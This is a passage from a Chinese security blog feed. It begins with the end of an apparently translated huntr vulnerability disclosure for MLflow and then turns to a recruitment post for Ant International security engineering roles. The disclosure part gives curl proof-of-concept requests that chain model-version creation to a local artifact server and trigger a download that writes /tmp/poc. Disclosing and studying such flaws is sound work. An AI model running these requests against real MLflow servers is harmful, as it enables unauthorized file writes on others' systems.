class="code-snippet__string">&#34;<a href="http://127.0.0.1:4444/api/2.0/mlflow-artifacts/artifacts/" target="_blank">http://127.0.0.1:4444/api/2.0/mlflow-artifacts/artifacts/</a>&#34;</span>}&#39; &#39;http:<span class="code-snippet__comment">//127.0.0.1:5000/ajax-api/2.0/mlflow/model-versions/create&#39;</span></span></code></pre></section><pre style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><section style="text-indent: 0em;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">创建第二个模型：（将与第一个模型版本相关联）</span></section></pre><pre style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"></span></pre><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="swift"><code><span class="code-snippet_outer">curl -<span class="code-snippet__type">X</span> <span class="code-snippet__type">POST</span> -<span class="code-snippet__type">H</span> &#39;<span class="code-snippet__type">Content</span>-<span class="code-snippet__type">Type</span>: application/json&#39; -d &#39;{<span class="code-snippet__string">&#34;name&#34;</span>: <span class="code-snippet__string">&#34;poc&#34;</span>, <span class="code-snippet__string">&#34;source&#34;</span>: <span class="code-snippet__string">&#34;models:/poc/1&#34;</span>}&#39; &#39;http:<span class="code-snippet__comment">//127.0.0.1:5000/ajax-api/2.0/mlflow/model-versions/create&#39;</span></span></code></pre></section><pre style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><section style="text-indent: 0em;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">触发下载：（请求第二个模型）</span></section></pre><pre style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"></span></pre><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">curl</span> <span class="code-snippet__string">&#39;<a href="http://127.0.0.1:5000/model-versions/get-artifact?path=random&amp;name=poc&amp;version=2" target="_blank">http://127.0.0.1:5000/model-versions/get-artifact?path=random&amp;name=poc&amp;version=2</a>&#39;</span></span></code></pre></section><pre style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">正如所看到的，被创造出来了！/tmp/poc</span></pre><p style="text-align: center;margin-bottom: 24px;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000575" data-ratio="0.2129032258064516" data-s="300,640" style="" data-type="png" data-w="465" src="https://wechat2rss.xlab.app/img-proxy/?k=e295bd42&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTvvmibSlOcicKh7RGMGr4wnMVht8XZuovSwQYxxvhvibTU6BxquiaAosZZmjw7icGICbCOzXp4tJUu8JictvBwmSUYQQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 24px;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">翻译参考：</span></p><p style="margin-bottom: 24px;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">[1]huntr - 世界上第一个用于 AI/ML 的漏洞赏金平台：<a href="https://huntr.com/" target="_blank">https://huntr.com/</a></span></p><p style="margin-bottom: 24px;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">[2]</span>Protect AI | Home：<a href="https://protectai.com/" target="_blank">https://protectai.com/</a></p><p style="letter-spacing: 0.578px;text-wrap: wrap;margin-bottom: 24px;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000577" data-ratio="0.5114285714285715" data-s="300,640" style="text-align: center;font-size: var(--articleFontsize);letter-spacing: 0.034em;" data-type="png" data-w="700" src="https://wechat2rss.xlab.app/img-proxy/?k=f8d0e6e9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTvvmibSlOcicLy1EWYAFAibpTONG0gcEyaWMOk3L4ut5Q6gL6jpGKBRfGtWo2doEoTkEXCHSxiatGRue51WWIics4bQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="display: none;margin-bottom: 24px;"><mp-style-type data-value="10000"></mp-style-type></p>



<p><a href="2247485591">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=ffc096c2&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4NTY0MDg1Mg%3D%3D%26mid%3D2247485591%26idx%3D1%26sn%3D5769b72d3516063e4f68feab9cd46e15%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 27 Oct 2024 23:13:00 +0800</pubDate>
    </item>
    <item>
      <title>蚂蚁国际信息安全部｜多岗位诚聘安全人才</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4NTY0MDg1Mg==&amp;mid=2247485586&amp;idx=1&amp;sn=52d63180d03282ac2518851357c5d67c</link>
      <description>蚂蚁国际信息安全部，欢迎各位师傅投递简历！</description>
      <content:encoded><![CDATA[<p>
<span>蚂蚁国际</span> <span>2024-10-14 12:54</span> <span style="display: inline-block;">广东</span>
</p>

<p>蚂蚁国际信息安全部，欢迎各位师傅投递简历！</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=a551f8aa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibd8zpoFIiaiaSiarqU14na0HAxfrqqu8RS8bdnvs5m4TLqE9p7PoTOFg4LTm9BRJYgE3bF6ia9NeUXhoQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-role="outer" label="edit by 135editor"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: center;font-size: 16px;color: rgb(41, 115, 248);visibility: visible;user-select: text !important;" data-mpa-powered-by="yiban.io"><p style="-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;user-select: text !important;"><span style="-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;font-size: 20px;user-select: text !important;"><strong style="-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;user-select: text !important;">蚂蚁国际信息安全部招人，欢迎各位师傅投递简历！</strong></span></p><p style="-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;user-select: text !important;"><span style="-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;font-size: 20px;user-select: text !important;"><strong style="-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;user-select: text !important;">渊龙Sec安全团队可以内推！！！</strong></span></p><p style="-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;user-select: text !important;"><span style="-webkit-tap-highlight-color: transparent;outline: 0px;font-size: 18px;visibility: visible;user-select: text !important;"><strong style="-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;user-select: text !important;"><br/></strong></span></p><p style="-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;user-select: text !important;"><span style="-webkit-tap-highlight-color: transparent;outline: 0px;font-size: 18px;visibility: visible;user-select: text !important;"><strong style="-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;user-select: text !important;">数字马力</strong></span></p><p style="-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;user-select: text !important;"><span style="-webkit-tap-highlight-color: transparent;outline: 0px;font-size: 12px;visibility: visible;user-select: text !important;">（蚂蚁集团全资技术子公司）</span></p></section><p style="-webkit-tap-highlight-color: transparent;outline: 0px;text-wrap: wrap;visibility: visible;user-select: text !important;"><br/></p><section style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: center;font-size: 13px;visibility: visible;user-select: text !important;"><p style="-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;user-select: text !important;"><strong style="-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;user-select: text !important;">工作地点：长沙</strong></p><p style="-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;user-select: text !important;"><strong style="-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;user-select: text !important;">投递方式：zhangyining.zyn@antgroup.com</strong></p></section><p style="-webkit-tap-highlight-color: transparent;outline: 0px;text-wrap: wrap;visibility: visible;user-select: text !important;"><br/></p><section style="-webkit-tap-highlight-color: transparent;margin-top: 20px;outline: 0px;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;visibility: visible;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;display: inline-block;background-color: rgb(41, 115, 248);width: auto;min-width: 5%;flex: 0 0 auto;height: auto;vertical-align: middle;align-self: center;visibility: visible;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;margin-top: -8px;margin-bottom: -8px;outline: 0px;text-align: center;visibility: visible;user-select: text !important;transform: translate3d(10px, 0px, 0px);-webkit-transform: translate3d(10px, 0px, 0px);-moz-transform: translate3d(10px, 0px, 0px);-o-transform: translate3d(10px, 0px, 0px);"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;display: inline-block;vertical-align: top;overflow: hidden;height: 48px;width: 48px;border-radius: 235px;background-color: rgb(231, 241, 254);border-style: solid;border-width: 7px;border-color: rgb(255, 255, 255);visibility: visible;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;margin-top: 3px;outline: 0px;visibility: visible;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;color: rgb(41, 115, 248);visibility: visible;user-select: text !important;"><p style="-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;user-select: text !important;"><strong style="-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;user-select: text !important;">01</strong></p></section></section></section></section></section><section style="-webkit-tap-highlight-color: transparent;padding-left: 12px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;height: auto;visibility: visible;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: justify;color: rgb(41, 115, 248);visibility: visible;user-select: text !important;"><p style="-webkit-tap-highlight-color: transparent;outline: 0px;text-wrap: wrap;visibility: visible;user-select: text !important;"><strong style="-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;user-select: text !important;">安全工程师 - </strong><strong style="font-size: var(--articleFontsize);letter-spacing: 0.034em;-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;user-select: text !important;">威胁对抗</strong></p></section></section></section><section style="-webkit-tap-highlight-color: transparent;margin-bottom: 10px;outline: 0px;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;visibility: visible;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;padding: 29px;outline: 0px;display: inline-block;width: 657px;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-color: rgb(245, 245, 245);visibility: visible;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;margin-bottom: 10px;outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;visibility: visible;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;height: auto;line-height: 1;visibility: visible;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: center;visibility: visible;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;display: inline-block;vertical-align: top;overflow: hidden;height: 16px;width: 16px;border-style: solid;border-width: 5px;border-color: rgb(41, 115, 248);border-radius: 157px;visibility: visible;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: justify;visibility: visible;user-select: text !important;"><p style="-webkit-tap-highlight-color: transparent;outline: 0px;text-wrap: wrap;visibility: visible;user-select: text !important;"><br/></p></section></section></section></section><section style="-webkit-tap-highlight-color: transparent;padding-left: 9px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;align-self: center;min-width: 5%;flex: 0 0 auto;height: auto;visibility: visible;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: justify;visibility: visible;user-select: text !important;"><p style="-webkit-tap-highlight-color: transparent;outline: 0px;text-wrap: wrap;visibility: visible;user-select: text !important;"><strong style="-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;user-select: text !important;">职位描述</strong></p></section></section></section><section style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: justify;visibility: visible;user-select: text !important;"><ol class="list-paddingleft-1" style="-webkit-tap-highlight-color: transparent;outline: 0px;list-style-position: outside;visibility: visible;padding-left: 30px;user-select: text !important;"><li><p style="-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;user-select: text !important;"><span style="font-size: 15px;">负责云上攻防对抗规则、策略及产品落地</span></p></li><li><p style="-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;user-select: text !important;"><span style="font-size: 15px;">负责业务的攻击检测及应急响应工作</span><br style="-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;user-select: text !important;"/></p></li></ol></section><section style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: justify;visibility: visible;user-select: text !important;"><p style="-webkit-tap-highlight-color: transparent;outline: 0px;text-wrap: wrap;visibility: visible;user-select: text !important;"><br/></p></section><section style="-webkit-tap-highlight-color: transparent;margin-bottom: 10px;outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;visibility: visible;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;height: auto;line-height: 1;visibility: visible;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: center;visibility: visible;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;display: inline-block;width: 16px;height: 16px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 5px;border-color: rgb(41, 115, 248);border-radius: 157px;visibility: visible;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: justify;visibility: visible;user-select: text !important;"><p style="-webkit-tap-highlight-color: transparent;outline: 0px;text-wrap: wrap;visibility: visible;user-select: text !important;"><br/></p></section></section></section></section><section style="-webkit-tap-highlight-color: transparent;padding-left: 9px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;align-self: center;min-width: 5%;flex: 0 0 auto;height: auto;visibility: visible;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: justify;visibility: visible;user-select: text !important;"><p style="-webkit-tap-highlight-color: transparent;outline: 0px;text-wrap: wrap;visibility: visible;user-select: text !important;"><strong style="-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;user-select: text !important;">职位要求</strong></p></section></section></section><section style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: justify;visibility: visible;user-select: text !important;"><ol class="list-paddingleft-1" style="-webkit-tap-highlight-color: transparent;outline: 0px;list-style-position: outside;visibility: visible;padding-left: 30px;user-select: text !important;"><li><p style="-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;user-select: text !important;"><span style="font-size: 15px;">熟悉阿里云等公有云，熟练使用常见云安全产品（WAF、FW、堡垒机、云安全中心）</span></p></li><li><p style="-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;user-select: text !important;"><span style="font-size: 15px;">熟悉各种业务攻防技术以及漏洞原理、并能够提出有效的解决方案，有实际攻防经验。</span></p></li></ol><p style="-webkit-tap-highlight-color: transparent;outline: 0px;text-wrap: wrap;visibility: visible;user-select: text !important;"><strong>加分项：</strong></p><ol class="list-paddingleft-1" style="-webkit-tap-highlight-color: transparent;outline: 0px;list-style-position: outside;visibility: visible;padding-left: 30px;user-select: text !important;"><li><p style="-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;user-select: text !important;"><span style="font-size: 15px;">具备较强的项目管理能力和产品思维</span></p></li><li><p style="-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;user-select: text !important;"><span style="font-size: 15px;">具备一定的后端或前端开发能力</span></p></li><li><p style="-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;user-select: text !important;"><span style="font-size: 15px;">具备一定网络及故障排查等相关知识</span><br style="-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;user-select: text !important;"/></p></li></ol></section></section></section><p style="-webkit-tap-highlight-color: transparent;outline: 0px;text-wrap: wrap;visibility: visible;user-select: text !important;"><br/></p><section style="-webkit-tap-highlight-color: transparent;margin-top: 20px;outline: 0px;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;visibility: visible;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;display: inline-block;vertical-align: middle;width: auto;background-color: rgb(41, 115, 248);min-width: 5%;flex: 0 0 auto;height: auto;align-self: center;visibility: visible;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;margin-top: -8px;margin-bottom: -8px;outline: 0px;text-align: center;visibility: visible;user-select: text !important;transform: translate3d(10px, 0px, 0px);-webkit-transform: translate3d(10px, 0px, 0px);-moz-transform: translate3d(10px, 0px, 0px);-o-transform: translate3d(10px, 0px, 0px);"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;display: inline-block;width: 48px;height: 48px;vertical-align: top;overflow: hidden;border-radius: 235px;background-color: rgb(231, 241, 254);border-style: solid;border-width: 7px;border-color: rgb(255, 255, 255);visibility: visible;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;margin-top: 3px;outline: 0px;visibility: visible;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;color: rgb(41, 115, 248);visibility: visible;user-select: text !important;"><p style="-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;user-select: text !important;"><strong style="-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;user-select: text !important;">02</strong></p></section></section></section></section></section><section style="-webkit-tap-highlight-color: transparent;padding-left: 12px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;height: auto;visibility: visible;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: justify;color: rgb(41, 115, 248);visibility: visible;user-select: text !important;"><p style="-webkit-tap-highlight-color: transparent;outline: 0px;text-wrap: wrap;visibility: visible;user-select: text !important;"><strong style="-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;user-select: text !important;">安全工程师 - </strong><strong style="font-size: var(--articleFontsize);letter-spacing: 0.034em;-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;user-select: text !important;">应用安全/SDL方向</strong></p></section></section></section><section style="-webkit-tap-highlight-color: transparent;margin-bottom: 10px;outline: 0px;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;visibility: visible;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;padding: 29px;outline: 0px;display: inline-block;width: 657px;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-color: rgb(245, 245, 245);visibility: visible;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;margin-bottom: 10px;outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;visibility: visible;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;height: auto;line-height: 1;visibility: visible;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: center;visibility: visible;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;display: inline-block;width: 16px;height: 16px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 5px;border-color: rgb(41, 115, 248);border-radius: 157px;visibility: visible;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: justify;visibility: visible;user-select: text !important;"><p style="-webkit-tap-highlight-color: transparent;outline: 0px;text-wrap: wrap;visibility: visible;user-select: text !important;"><br/></p></section></section></section></section><section style="-webkit-tap-highlight-color: transparent;padding-left: 9px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;align-self: center;min-width: 5%;flex: 0 0 auto;height: auto;visibility: visible;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: justify;visibility: visible;user-select: text !important;"><p style="-webkit-tap-highlight-color: transparent;outline: 0px;text-wrap: wrap;visibility: visible;user-select: text !important;"><strong style="-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;user-select: text !important;">职位描述</strong></p></section></section></section><section style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: justify;user-select: text !important;"><ol class="list-paddingleft-1" style="-webkit-tap-highlight-color: transparent;outline: 0px;list-style-position: outside;padding-left: 30px;user-select: text !important;"><li><p style="-webkit-tap-highlight-color: transparent;outline: 0px;user-select: text !important;"><span style="font-size: 15px;">负责蚂蚁国际业务的安全开发生命周期（SDL），涵盖PC端、移动端、小程序的产品架构设计、安全评估、威胁建模及安全测试</span></p></li><li><p style="-webkit-tap-highlight-color: transparent;outline: 0px;user-select: text !important;"><span style="font-size: 15px;">完善并建立DevSecOps工具链（包括SAST、IAST、RASP），积极跟进风险处置，撰写相关安全策略</span></p></li><li><p style="-webkit-tap-highlight-color: transparent;outline: 0px;user-select: text !important;"><span style="font-size: 15px;">处理Oday漏洞和安全事件响应，进行复盘及运营工作</span></p></li></ol></section><section style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: justify;user-select: text !important;"><p style="-webkit-tap-highlight-color: transparent;outline: 0px;text-wrap: wrap;user-select: text !important;"><br/></p></section><section style="-webkit-tap-highlight-color: transparent;margin-bottom: 10px;outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;height: auto;line-height: 1;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: center;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;display: inline-block;width: 16px;height: 16px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 5px;border-color: rgb(41, 115, 248);border-radius: 157px;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: justify;user-select: text !important;"><p style="-webkit-tap-highlight-color: transparent;outline: 0px;text-wrap: wrap;user-select: text !important;"><br/></p></section></section></section></section><section style="-webkit-tap-highlight-color: transparent;padding-left: 9px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;align-self: center;min-width: 5%;flex: 0 0 auto;height: auto;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: justify;user-select: text !important;"><p style="-webkit-tap-highlight-color: transparent;outline: 0px;text-wrap: wrap;user-select: text !important;"><strong style="-webkit-tap-highlight-color: transparent;outline: 0px;user-select: text !important;">职位要求</strong></p></section></section></section><section style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: justify;user-select: text !important;"><ol class="list-paddingleft-1" style="-webkit-tap-highlight-color: transparent;outline: 0px;list-style-position: outside;padding-left: 30px;user-select: text !important;"><li><p style="-webkit-tap-highlight-color: transparent;outline: 0px;user-select: text !important;"><span style="font-size: 15px;">熟悉SDL相关流程，具备实际落地运营经验，了解常见业务安全风险；熟悉SAST、IAST、RASP的原理及应用，有相关产品推动经验优先</span></p></li><li><p style="-webkit-tap-highlight-color: transparent;outline: 0px;user-select: text !important;"><span style="font-size: 15px;">拥有丰富的WEB、小程序及移动端安全测试与漏洞挖掘经验（包括黑盒和白盒），具备大型应用项目的安全评估经历；能够独立完成项目的代码审计，精通至少一种编程语言（如JAVA、Node.js）</span></p></li><li><p style="-webkit-tap-highlight-color: transparent;outline: 0px;user-select: text !important;"><span style="font-size: 15px;">具备良好的沟通能力，团队合作意识和自我驱动力</span></p></li><li><p style="-webkit-tap-highlight-color: transparent;outline: 0px;user-select: text !important;"><span style="font-size: 15px;">精通至少一种编程语言（如JAVA、Node.js）</span></p></li><li><p style="-webkit-tap-highlight-color: transparent;outline: 0px;user-select: text !important;"><span style="font-size: 15px;">熟悉IDA Pro、GDB、JEB、Iidb等常用逆向分析工具，具备基本的逆向分析能力，对ARM、x86/64等指令集有一定了解，掌握软件逆向静态分析、动态调试、代码跟踪、反编译及Hook注入等技术优先</span></p></li><li><p style="-webkit-tap-highlight-color: transparent;outline: 0px;user-select: text !important;"><span style="font-size: 15px;">熟悉阿里云的FW和WAF安全产品，具备复杂策略部署和运营经验</span></p></li><li><p style="-webkit-tap-highlight-color: transparent;outline: 0px;user-select: text !important;"><span style="font-size: 15px;">SRC核心白帽子或有过移动端漏洞提报者</span></p></li></ol></section></section></section><p style="-webkit-tap-highlight-color: transparent;outline: 0px;text-wrap: wrap;user-select: text !important;"><br/></p><section style="-webkit-tap-highlight-color: transparent;margin-top: 20px;outline: 0px;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;display: inline-block;vertical-align: middle;width: auto;background-color: rgb(41, 115, 248);min-width: 5%;flex: 0 0 auto;height: auto;align-self: center;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;margin-top: -8px;margin-bottom: -8px;outline: 0px;text-align: center;user-select: text !important;transform: translate3d(10px, 0px, 0px);-webkit-transform: translate3d(10px, 0px, 0px);-moz-transform: translate3d(10px, 0px, 0px);-o-transform: translate3d(10px, 0px, 0px);"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;display: inline-block;width: 48px;height: 48px;vertical-align: top;overflow: hidden;border-radius: 235px;background-color: rgb(231, 241, 254);border-style: solid;border-width: 7px;border-color: rgb(255, 255, 255);user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;margin-top: 3px;outline: 0px;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;color: rgb(41, 115, 248);user-select: text !important;"><p style="-webkit-tap-highlight-color: transparent;outline: 0px;user-select: text !important;"><strong style="-webkit-tap-highlight-color: transparent;outline: 0px;user-select: text !important;">03</strong></p></section></section></section></section></section><section style="-webkit-tap-highlight-color: transparent;padding-left: 12px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;height: auto;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: justify;color: rgb(41, 115, 248);user-select: text !important;"><p style="-webkit-tap-highlight-color: transparent;outline: 0px;text-wrap: wrap;user-select: text !important;"><strong style="-webkit-tap-highlight-color: transparent;outline: 0px;user-select: text !important;">云基础设施设施安全工程师</strong></p></section></section></section><section style="-webkit-tap-highlight-color: transparent;margin-bottom: 10px;outline: 0px;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;padding: 29px;outline: 0px;display: inline-block;width: 657px;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-color: rgb(245, 245, 245);user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;margin-bottom: 10px;outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;height: auto;line-height: 1;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: center;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;display: inline-block;width: 16px;height: 16px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 5px;border-color: rgb(41, 115, 248);border-radius: 157px;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: justify;user-select: text !important;"><p style="-webkit-tap-highlight-color: transparent;outline: 0px;text-wrap: wrap;user-select: text !important;"><br/></p></section></section></section></section><section style="-webkit-tap-highlight-color: transparent;padding-left: 9px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;align-self: center;min-width: 5%;flex: 0 0 auto;height: auto;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: justify;user-select: text !important;"><p style="-webkit-tap-highlight-color: transparent;outline: 0px;text-wrap: wrap;user-select: text !important;"><strong style="-webkit-tap-highlight-color: transparent;outline: 0px;user-select: text !important;">职位描述</strong></p></section></section></section><section style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: justify;user-select: text !important;"><ol class="list-paddingleft-1" style="-webkit-tap-highlight-color: transparent;outline: 0px;list-style-position: outside;padding-left: 30px;user-select: text !important;"><li><p style="-webkit-tap-highlight-color: transparent;outline: 0px;user-select: text !important;"><span style="font-size: 